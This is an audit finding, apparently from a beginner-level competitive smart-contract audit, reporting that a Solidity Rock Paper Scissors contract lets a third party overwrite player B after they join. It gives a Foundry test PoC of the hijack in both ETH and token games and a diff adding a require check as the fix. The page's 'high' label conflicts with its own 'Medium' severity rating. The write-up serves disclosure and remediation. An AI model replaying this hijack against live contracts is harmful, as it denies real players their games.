Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Malicious third party can join game after player B has joined, kicking out the existing player B in a griefing attack

Summary

RockPaperScissors::joinGameWithEth and RockPaperScissors::joinGameWithToken does not check if an existing player has joined as player B. Malicious third party can join game after the existing player B has joined, replacing the existing player as player B. The existing player is prevented from playing due to this griefing attack.

Vulnerability Details

The following is the attack path

  1. Player A creates game

  2. Player B joins game

  3. Player C joins same game, kicking out the existing player B

PoC

Place the following into RockPaperScissorsTest.t.sol and run

forge test --mt testPlayerCKicksOutPlayerB

function testPlayerCKicksOutPlayerB() public {
address playerC = makeAddr("playerC");
vm.deal(playerC, 10 ether);
vm.prank(address(game));
token.mint(playerC, 10);
address Player2;
// Case 1: ETH game
// 1. Player A creates game
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
// 2. Player B joins game
vm.prank(playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
// 3. Player C joins same game, kicking out the existing player B
vm.prank(playerC);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
(, Player2,,,,,,,,,,,,,,) = game.games(gameId);
assertEq(Player2, playerC);
assertNotEq(Player2, playerB);
// Case 2: Token game
// 1. Player A creates game
vm.startPrank(playerA);
token.approve(address(game), type(uint256).max);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
// 2. Player B joins game
vm.startPrank(playerB);
token.approve(address(game), type(uint256).max);
game.joinGameWithToken(gameId);
vm.stopPrank();
// 3. Player C joins same game, kicking out the existing player B
vm.startPrank(playerC);
token.approve(address(game), type(uint256).max);
game.joinGameWithToken(gameId);
vm.stopPrank();
(, Player2,,,,,,,,,,,,,,) = game.games(gameId);
assertEq(Player2, playerC);
assertNotEq(Player2, playerB);
}

Impact

Impact: Medium, the existing player is prevented from playing
Likelihood: Low, malicious third party has to exploit this vulnerability before either player has commitMove. Additionally, there is no incentive for malicious third party to execute this exploit apart from griefing player B
Severity: Medium

Tools Used

Manual review

Recommendations

RockPaperScissors::joinGameWithEth and RockPaperScissors::joinGameWithToken should check if an existing player has joined as player B

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
+ require(game.playerB == address(0), "Another player has joined this game");
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
.
.
.
function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
+ require(game.playerB == address(0), "Another player has joined this game");
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
// Transfer token to contract
winningToken.transferFrom(msg.sender, address(this), 1);
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Absence of State Change on Join Allows Player B Hijacking

Game state remains Created after a player joins

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.